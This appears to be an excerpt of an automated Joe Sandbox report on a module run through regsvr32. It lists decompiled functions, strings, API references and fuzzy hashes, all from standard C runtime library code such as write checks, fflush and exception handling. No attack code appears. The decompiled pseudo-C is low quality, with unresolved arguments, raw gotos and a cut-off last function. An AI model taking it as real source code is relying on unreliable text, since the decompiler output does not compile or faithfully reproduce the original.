__doserrno.LIBCMTD ref: 000007FEF9D396F6
_invalid_parameter.LIBCMTD ref: 000007FEF9D39730

Strings

_write, xrefs: 000007FEF9D39722
(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D396C1, 000007FEF9D39729
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D396D6, 000007FEF9D3971B

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno_invalid_parameter
String ID: (fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_write$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 4140903211-23161695
Opcode ID: 943f3f5a8649ad99659fc24fe5f00fa9245fa7ab2d20795fce64249369f79773
Instruction ID: f549bc85806da522572ee7890384280d6aac56d4f037a7782e26525923b50f93
Opcode Fuzzy Hash: 943f3f5a8649ad99659fc24fe5f00fa9245fa7ab2d20795fce64249369f79773
Instruction Fuzzy Hash: A2112A71A29606CAF7D0AB14ED5476E72E1F3507C9FA09125E2CD026E4D77EE504CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39939 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D39998
_invalid_parameter.LIBCMTD ref: 000007FEF9D399D2

Strings

(buf != NULL), xrefs: 000007FEF9D39963, 000007FEF9D399CB
_write_nolock, xrefs: 000007FEF9D399C4
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D39978, 000007FEF9D399BD

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno_invalid_parameter
String ID: (buf != NULL)$_write_nolock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 4140903211-3042049227
Opcode ID: b18c78e6a001b3924330ee466a7aa5e58f01f9920a26db0e17f8c8ea79e16f29
Instruction ID: 08953b95d21c5f70e3699fefb321eca4419d040150facc41ebc10b04699de718
Opcode Fuzzy Hash: b18c78e6a001b3924330ee466a7aa5e58f01f9920a26db0e17f8c8ea79e16f29
Instruction Fuzzy Hash: F8115731E0C646DAF7A4AF24EC117AE73D0F780398FA0912692CC026E5DB7EE644CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3976D Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D397C3
_invalid_parameter.LIBCMTD ref: 000007FEF9D397FD

Strings

_write, xrefs: 000007FEF9D397EF
(_osfile(fh) & FOPEN), xrefs: 000007FEF9D3978E, 000007FEF9D397F6
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D397A3, 000007FEF9D397E8

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno_invalid_parameter
String ID: (_osfile(fh) & FOPEN)$_write$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 4140903211-1338331675
Opcode ID: f80fd563d90780f0aa1c670857feec0e10d9ec583905498dafbcab80ebad431c
Instruction ID: 8bdd68c2d8658697f17e3158693f35fff5fb9c26cbdf8bf42c76b87004d789dc
Opcode Fuzzy Hash: f80fd563d90780f0aa1c670857feec0e10d9ec583905498dafbcab80ebad431c
Instruction Fuzzy Hash: F0014CB1A18646C6FB90AB24EC4076D36E0F350358FB04125E28D036F5C7BED544CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39A9B Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 17COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D39A9B
_invalid_parameter.LIBCMTD ref: 000007FEF9D39AD5

Part of subcall function 000007FEF9D2BD70: DecodePointer.KERNEL32 ref: 000007FEF9D2BD99

Strings

_write_nolock, xrefs: 000007FEF9D39AC7
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D39AC0
((cnt & 1) == 0), xrefs: 000007FEF9D39ACE

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DecodePointer__doserrno_invalid_parameter
String ID: ((cnt & 1) == 0)$_write_nolock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 1098298932-1795423647
Opcode ID: 76c1c365018f90ed7cb3e44e1db6073c5157a9fa4c515fc26b073f11152878b0
Instruction ID: 5ff663975ae3511ed6d2782a661d896beba523f0d1828ccbc0613956f22d1229
Opcode Fuzzy Hash: 76c1c365018f90ed7cb3e44e1db6073c5157a9fa4c515fc26b073f11152878b0
Instruction Fuzzy Hash: CBE03960A0890696F6D4AF14EC113EE2290A740788FE14222908D072F2CB7EA605C741

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2F570 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 16%

			E000007FE7FEF9D2F570(intOrPtr __edx, long long __rcx, void* __rdx, long long __r8, void* _a8, intOrPtr _a16, long long _a24, intOrPtr _a32, void* _a40, intOrPtr _a48, intOrPtr _a64) {
				long long _v24;
				intOrPtr _v32;
				long long _v40;
				signed int _v48;
				int _v52;
				int _v56;
				signed int _v64;
				long long _v72;
				long long _t82;

				_a32 = r9d;
				_a24 = __r8;
				_a16 = __edx;
				_a8 = __rcx;
				_v56 = 0;
				if (_a48 != 0) goto 0xf9d2f5ab;
				_a48 =  *((intOrPtr*)( *_a8 + 4));
				if (_a64 == 0) goto 0xf9d2f5bf;
				_v32 = 9;
				goto 0xf9d2f5c7;
				_v32 = 1;
				_v64 = 0;
				_v72 = 0;
				r9d = _a32;
				_v48 = MultiByteToWideChar(??, ??, ??, ??, ??, ??);
				if (_v48 != 0) goto 0xf9d2f60b;
				goto 0xf9d2f6f8;
				if (0 != 0) goto 0xf9d2f652;
				if (_v48 <= 0) goto 0xf9d2f652;
				if (_v48 - 0xfffffff0 > 0) goto 0xf9d2f652;
				_t82 = _v48 + _v48 + 0x10;
				E000007FE7FEF9D2F3B0(malloc(??), 0xdddd, _t82);
				_v24 = _t82;
				goto 0xf9d2f65b;
				_v24 = 0;
				_v40 = _v24;
				if (_v40 != 0) goto 0xf9d2f674;
				goto 0xf9d2f6f8;
				E000007FE7FEF9D232B0(0, _a48, 0, _v40, __rdx, _v48 << 1);
				_v64 = _v48;
				_v72 = _v40;
				r9d = _a32;
				_v52 = MultiByteToWideChar(??, ??, ??, ??, ??, ??);
				if (_v52 == 0) goto 0xf9d2f6ea;
				r8d = _v52;
				_v56 = GetStringTypeW(??, ??, ??, ??);
				E000007FE7FEF9D2F3E0(_v40);
				return _v56;
			}

0x7fef9d2f570
0x7fef9d2f575
0x7fef9d2f57a
0x7fef9d2f57e
0x7fef9d2f587
0x7fef9d2f597
0x7fef9d2f5a4
0x7fef9d2f5b3
0x7fef9d2f5b5
0x7fef9d2f5bd
0x7fef9d2f5bf
0x7fef9d2f5c7
0x7fef9d2f5cf
0x7fef9d2f5d8
0x7fef9d2f5f9
0x7fef9d2f602
0x7fef9d2f606
0x7fef9d2f60f
0x7fef9d2f616
0x7fef9d2f62a
0x7fef9d2f631
0x7fef9d2f646
0x7fef9d2f64b
0x7fef9d2f650
0x7fef9d2f652
0x7fef9d2f660
0x7fef9d2f66b
0x7fef9d2f66f
0x7fef9d2f686
0x7fef9d2f68f
0x7fef9d2f698
0x7fef9d2f69d
0x7fef9d2f6bf
0x7fef9d2f6c8
0x7fef9d2f6d2
0x7fef9d2f6e6
0x7fef9d2f6ef
0x7fef9d2f6fc

APIs

MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F5F3
malloc.LIBCMTD ref: 000007FEF9D2F639
_MarkAllocaS.LIBCMTD ref: 000007FEF9D2F646
MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F6B9
GetStringTypeW.KERNEL32 ref: 000007FEF9D2F6E0

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ByteCharMultiWide$AllocaMarkStringTypemalloc
String ID:
API String ID: 2618398691-0
Opcode ID: 05827e3f81ca9d4f9e036e9cc38fe06689f9ef4e573a4afec1c92632646a1a95
Instruction ID: 79d90a16a348acae5d1e8c33d658c717d72e619f6ed261e78ac23a31a9732c13
Opcode Fuzzy Hash: 05827e3f81ca9d4f9e036e9cc38fe06689f9ef4e573a4afec1c92632646a1a95
Instruction Fuzzy Hash: 9941E7726187818AD7A08B19E48476EB7E0F385795F204525EADE43BB8DB7ED484CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3FF00 Relevance: 7.6, APIs: 5, Instructions: 79
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 20%

			E000007FE7FEF9D3FF00(intOrPtr __ecx, intOrPtr _a8) {
				signed int _v16;
				signed int _v20;
				signed int _v24;

				_a8 = __ecx;
				_v24 = 0;
				_v16 = 0;
				0xf9d29300();
				_v20 = 0;
				_v20 = _v20 + 1;
				if (_v20 -  *0xf9d4e520 >= 0) goto 0xf9d40042;
				if ( *((long long*)( *0xf9d4d500 + _v20 * 8)) == 0) goto 0xf9d4003d;
				if (( *( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)) + 0x18) & 0x00000083) == 0) goto 0xf9d4003d;
				E000007FE7FEF9D3AE90(_v20,  *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)));
				if (( *( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)) + 0x18) & 0x00000083) == 0) goto 0xf9d40024;
				if (_a8 != 1) goto 0xf9d3ffe1;
				if (E000007FE7FEF9D3FD70( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8))) == 0xffffffff) goto 0xf9d3ffdf;
				_v24 = _v24 + 1;
				goto 0xf9d40024;
				if (_a8 != 0) goto 0xf9d40024;
				if (( *( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)) + 0x18) & 0x00000002) == 0) goto 0xf9d40024;
				if (E000007FE7FEF9D3FD70( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8))) != 0xffffffff) goto 0xf9d40024;
				_v16 = 0xffffffff;
				E000007FE7FEF9D3AF60(_v20,  *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)));
				goto L1;
				__ecx = 1;
				__eax = E000007FE7FEF9D29360(__eax, 1);
				if (_a8 != 1) goto 0xf9d4005b;
				__eax = _v24;
				goto 0xf9d4005f;
				__eax = _v16;
				return _v16;
			}

0x7fef9d3ff00
0x7fef9d3ff08
0x7fef9d3ff10
0x7fef9d3ff1d
0x7fef9d3ff23
0x7fef9d3ff33
0x7fef9d3ff41
0x7fef9d3ff58
0x7fef9d3ff78
0x7fef9d3ff92
0x7fef9d3ffb2
0x7fef9d3ffb9
0x7fef9d3ffd3
0x7fef9d3ffdb
0x7fef9d3ffdf
0x7fef9d3ffe6
0x7fef9d40000
0x7fef9d4001a
0x7fef9d4001c
0x7fef9d40038
0x7fef9d4003d
0x7fef9d40042
0x7fef9d40047
0x7fef9d40051
0x7fef9d40053
0x7fef9d40059
0x7fef9d4005b
0x7fef9d40063

APIs

_lock_file2.LIBCMTD ref: 000007FEF9D3FF92
_fflush_nolock.LIBCMTD ref: 000007FEF9D3FFCB
_fflush_nolock.LIBCMTD ref: 000007FEF9D40012
_unlock_file2.LIBCMTD ref: 000007FEF9D40038
_unlock.LIBCMTD ref: 000007FEF9D40047

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _fflush_nolock$_lock_file2_unlock_unlock_file2
String ID:
API String ID: 1144694634-0
Opcode ID: 9c48fc7a63950d59b547df98b2f037ee7aefe6eda58a35de18d9feeb54d081ae
Instruction ID: ac60367dbbc332a4a9212cb966813f3525e1d277dda9a6ba7eb8e741a9ed9bf6
Opcode Fuzzy Hash: 9c48fc7a63950d59b547df98b2f037ee7aefe6eda58a35de18d9feeb54d081ae
Instruction Fuzzy Hash: D441F136A08905C5EB70CB1DE98173D73E0F799B49F204225EA9D877B4CB3EE945CA01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D33CC0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 186
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D33CC0(void* __edx, void* __rax, long long __rcx, long long __rdx, long long __r8, long long __r9, void* _a8, long long _a16, long long _a24, long long _a32, signed int* _a40, char _a48, signed int _a56, signed int _a64) {
				long long _v16;
				long long _v24;
				intOrPtr _v32;
				long long _v40;
				long long _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				signed int _v64;
				long long _v72;
				char _v80;
				long long _v88;
				void* _t135;
				void* _t145;
				void* _t147;
				void* _t148;
				void* _t149;
				signed int* _t200;
				intOrPtr _t206;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				0xf9d24000();
				if ( *((intOrPtr*)(__rax + 0x2c0)) != 0) goto 0xf9d33d6c;
				if ( *_a8 == 0xe06d7363) goto 0xf9d33d6c;
				if ( *_a8 != 0x80000029) goto 0xf9d33d2a;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 0xf) goto 0xf9d33d2a;
				if ( *((long long*)(_a8 + 0x60)) == 0x19930520) goto 0xf9d33d6c;
				if ( *_a8 == 0x80000026) goto 0xf9d33d6c;
				if (( *_a40 & 0x1fffffff) - 0x19930522 < 0) goto 0xf9d33d6c;
				if ((_a40[9] & 0x00000001) == 0) goto 0xf9d33d6c;
				goto 0xf9d3409c;
				if (( *(_a8 + 4) & 0x00000066) == 0) goto 0xf9d33ef3;
				if (_a40[1] == 0) goto 0xf9d33ee4;
				if (_a48 != 0) goto 0xf9d33ee4;
				if (( *(_a8 + 4) & 0x00000020) == 0) goto 0xf9d33e40;
				if ( *_a8 != 0x80000026) goto 0xf9d33e40;
				_v56 = E000007FE7FEF9D33A60(_a24, _a40, _a32,  *((intOrPtr*)(_a24 + 0xf8)));
				if (_v56 - 0xffffffff < 0) goto 0xf9d33e0a;
				if (_v56 - _a40[1] >= 0) goto 0xf9d33e0a;
				goto 0xf9d33e0f;
				E000007FE7FEF9D2CF80(_a40);
				r9d = _v56;
				E000007FE7FEF9D34F20(_a40, _a16, _a32, _a40);
				goto 0xf9d33ec7;
				if (( *(_a8 + 4) & 0x00000020) == 0) goto 0xf9d33ec7;
				if ( *_a8 != 0x80000029) goto 0xf9d33ec7;
				_v48 = _a8;
				_v52 =  *((intOrPtr*)(_v48 + 0x38));
				if (_v52 - 0xffffffff < 0) goto 0xf9d33e95;
				if (_v52 - _a40[1] >= 0) goto 0xf9d33e95;
				goto 0xf9d33e9a;
				E000007FE7FEF9D2CF80(_a40);
				r9d = _v52;
				E000007FE7FEF9D34F20(_v48,  *((intOrPtr*)(_v48 + 0x28)), _a32, _a40);
				goto 0xf9d3409c;
				E000007FE7FEF9D2E790(_v52 - _a40[1], _v48, _a16, _a32, _a40);
				goto 0xf9d34097;
				if (_a40[3] != 0) goto 0xf9d33f59;
				if (( *_a40 & 0x1fffffff) - 0x19930521 < 0) goto 0xf9d34097;
				_t200 = _a40;
				if ( *((intOrPtr*)(_t200 + 0x20)) == 0) goto 0xf9d33f44;
				_t135 = E000007FE7FEF9D2E680( *_a40 & 0x1fffffff, _t200);
				_v24 = _t200 + _a40[8];
				goto 0xf9d33f4d;
				_v24 = 0;
				if (_v24 == 0) goto 0xf9d34097;
				if ( *_a8 != 0xe06d7363) goto 0xf9d34041;
				if ( *((intOrPtr*)(_a8 + 0x18)) - 3 < 0) goto 0xf9d34041;
				if ( *((intOrPtr*)(_a8 + 0x20)) - 0x19930522 <= 0) goto 0xf9d34041;
				_t206 =  *((intOrPtr*)(_a8 + 0x30));
				if ( *((intOrPtr*)(_t206 + 8)) == 0) goto 0xf9d33fc5;
				E000007FE7FEF9D2E6A0(_t135, _t206);
				_v16 = _t206 +  *((intOrPtr*)( *((intOrPtr*)(_a8 + 0x30)) + 8));
				goto 0xf9d33fce;
				_v16 = 0;
				_v40 = _v16;
				_t177 = _v40;
				if (_v40 == 0) goto 0xf9d34041;
				_v64 = _a64 & 0x000000ff;
				_v72 = _a56;
				_v80 = _a48;
				_v88 = _a40;
				_v32 = _v40();
				goto 0xf9d34097;
				_v64 = _a56;
				_v72 = _a48;
				_v80 = _a64 & 0x000000ff;
				_v88 = _a40;
				E000007FE7FEF9D340B0(_t145, _t147, _t148, _t149, _t177, _a40, _a8, _a16, _a24, _a32);
				return 1;
			}

0x7fef9d33cc0
0x7fef9d33cc5
0x7fef9d33cca
0x7fef9d33ccf
0x7fef9d33cd8
0x7fef9d33ce4
0x7fef9d33cf8
0x7fef9d33d08
0x7fef9d33d16
0x7fef9d33d28
0x7fef9d33d38
0x7fef9d33d4e
0x7fef9d33d60
0x7fef9d33d67
0x7fef9d33d7c
0x7fef9d33d8e
0x7fef9d33d9c
0x7fef9d33db2
0x7fef9d33dc6
0x7fef9d33dec
0x7fef9d33df5
0x7fef9d33e06
0x7fef9d33e08
0x7fef9d33e0a
0x7fef9d33e0f
0x7fef9d33e2c
0x7fef9d33e3b
0x7fef9d33e50
0x7fef9d33e60
0x7fef9d33e6a
0x7fef9d33e77
0x7fef9d33e80
0x7fef9d33e91
0x7fef9d33e93
0x7fef9d33e95
0x7fef9d33e9a
0x7fef9d33eb8
0x7fef9d33ec2
0x7fef9d33edf
0x7fef9d33eee
0x7fef9d33eff
0x7fef9d33f15
0x7fef9d33f1b
0x7fef9d33f27
0x7fef9d33f29
0x7fef9d33f3d
0x7fef9d33f42
0x7fef9d33f44
0x7fef9d33f53
0x7fef9d33f67
0x7fef9d33f79
0x7fef9d33f8e
0x7fef9d33f9c
0x7fef9d33fa4
0x7fef9d33fa6
0x7fef9d33fbe
0x7fef9d33fc3
0x7fef9d33fc5
0x7fef9d33fd3
0x7fef9d33fd8
0x7fef9d33fde
0x7fef9d33fe8
0x7fef9d33ff4
0x7fef9d34000
0x7fef9d3400c
0x7fef9d34035
0x7fef9d3403f
0x7fef9d34049
0x7fef9d34055
0x7fef9d34061
0x7fef9d3406d
0x7fef9d34092
0x7fef9d340a0

APIs

_inconsistency.LIBCMTD ref: 000007FEF9D33E0A

Strings

csm, xrefs: 000007FEF9D33F61
csm, xrefs: 000007FEF9D33CF2

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _inconsistency
String ID: csm$csm
API String ID: 32975420-3733052814
Opcode ID: b62b0453fdffd86c1ea8e56b24d9441da31a01f9fe07ee07632383c0adf59322
Instruction ID: 322b6d8969e66d64c69545eab8578d1d9fa1a0c6b52bdd8827c0b0ea251a3b55
Opcode Fuzzy Hash: b62b0453fdffd86c1ea8e56b24d9441da31a01f9fe07ee07632383c0adf59322
Instruction Fuzzy Hash: 12A1EE3660CBC5C6D7B08B15E5447AEB7A0F385B95FA04126EACD87BA9CB3DD844CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D29640 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

__free_lconv_mon.LIBCMTD ref: 000007FEF9D296DF
__free_lconv_num.LIBCMTD ref: 000007FEF9D29726

Strings

((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[ca, xrefs: 000007FEF9D2991D
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\localref.c, xrefs: 000007FEF9D29932

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __free_lconv_mon__free_lconv_num
String ID: ((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[ca$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\localref.c
API String ID: 2148069796-2706031433
Opcode ID: 5530c5148454f32ed92c453347a6e128a1bc42f7b71ac9e6bc1d50a4750a2989
Instruction ID: 7353ab124090f0710997c18079ef38eae00693e27689a0bfa21a481d68f00224
Opcode Fuzzy Hash: 5530c5148454f32ed92c453347a6e128a1bc42f7b71ac9e6bc1d50a4750a2989
Instruction Fuzzy Hash: F4A10E36A18A8581EB908F49E4853BEA3E0F3C4B54F665036EA8E477B5CFBED445C740

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32772 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 166COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32A56

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D32A07, 000007FEF9D32A41
_vsnprintf_s_l, xrefs: 000007FEF9D32A48
("Buffer too small", 0), xrefs: 000007FEF9D329F2, 000007FEF9D32A4F

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-3717698799
Opcode ID: 1aafbfe16f86ccf21253850ca152cd04a8ee8357f57b5e583563c43112fb4b7a
Instruction ID: b28b411edc77ea5f57a42c4ce070c51137fe1cd7001121a3be123fc4e483bd38
Opcode Fuzzy Hash: 1aafbfe16f86ccf21253850ca152cd04a8ee8357f57b5e583563c43112fb4b7a
Instruction Fuzzy Hash: FC810D32A1DB8686DAB08B29E84476E73E0F385765F204225E6ED437E9DF3DD445CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C719 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E000007FE7FEF9D3C719(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, char _a85, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a688, intOrPtr _a704, intOrPtr _a708, signed char _a816, signed int _a824, signed int _a832, intOrPtr _a840, signed short* _a848, signed char _a856, char _a860, char _a864, long long _a872, intOrPtr _a876, intOrPtr _a912, intOrPtr _a916, signed int _a1040, long long _a1048, signed short _a1056, long long _a1060, signed int _a1064, intOrPtr _a1088, char _a1112) {
				signed int _t212;
				signed char _t217;
				intOrPtr _t252;
				signed int _t327;
				signed int _t328;
				signed long long _t331;
				intOrPtr* _t354;
				signed long long _t379;

				_t327 = __rax;
				_a708 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c754;
				_a84 = 0x30;
				_a85 = _a708 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c777;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3c79e;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t327;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3c7c5;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t327;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3c810;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c7f6;
				_t328 = E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				goto 0xf9d3c80e;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c834;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				goto 0xf9d3c84b;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c882;
				if (_a824 >= 0) goto 0xf9d3c882;
				_a832 =  ~_a824;
				asm("bts eax, 0x8");
				goto 0xf9d3c892;
				_t331 = _a824;
				_a832 = _t331;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3c8c7;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3c8c7;
				_a832 = _a832 & _t331;
				if (_a116 >= 0) goto 0xf9d3c8d8;
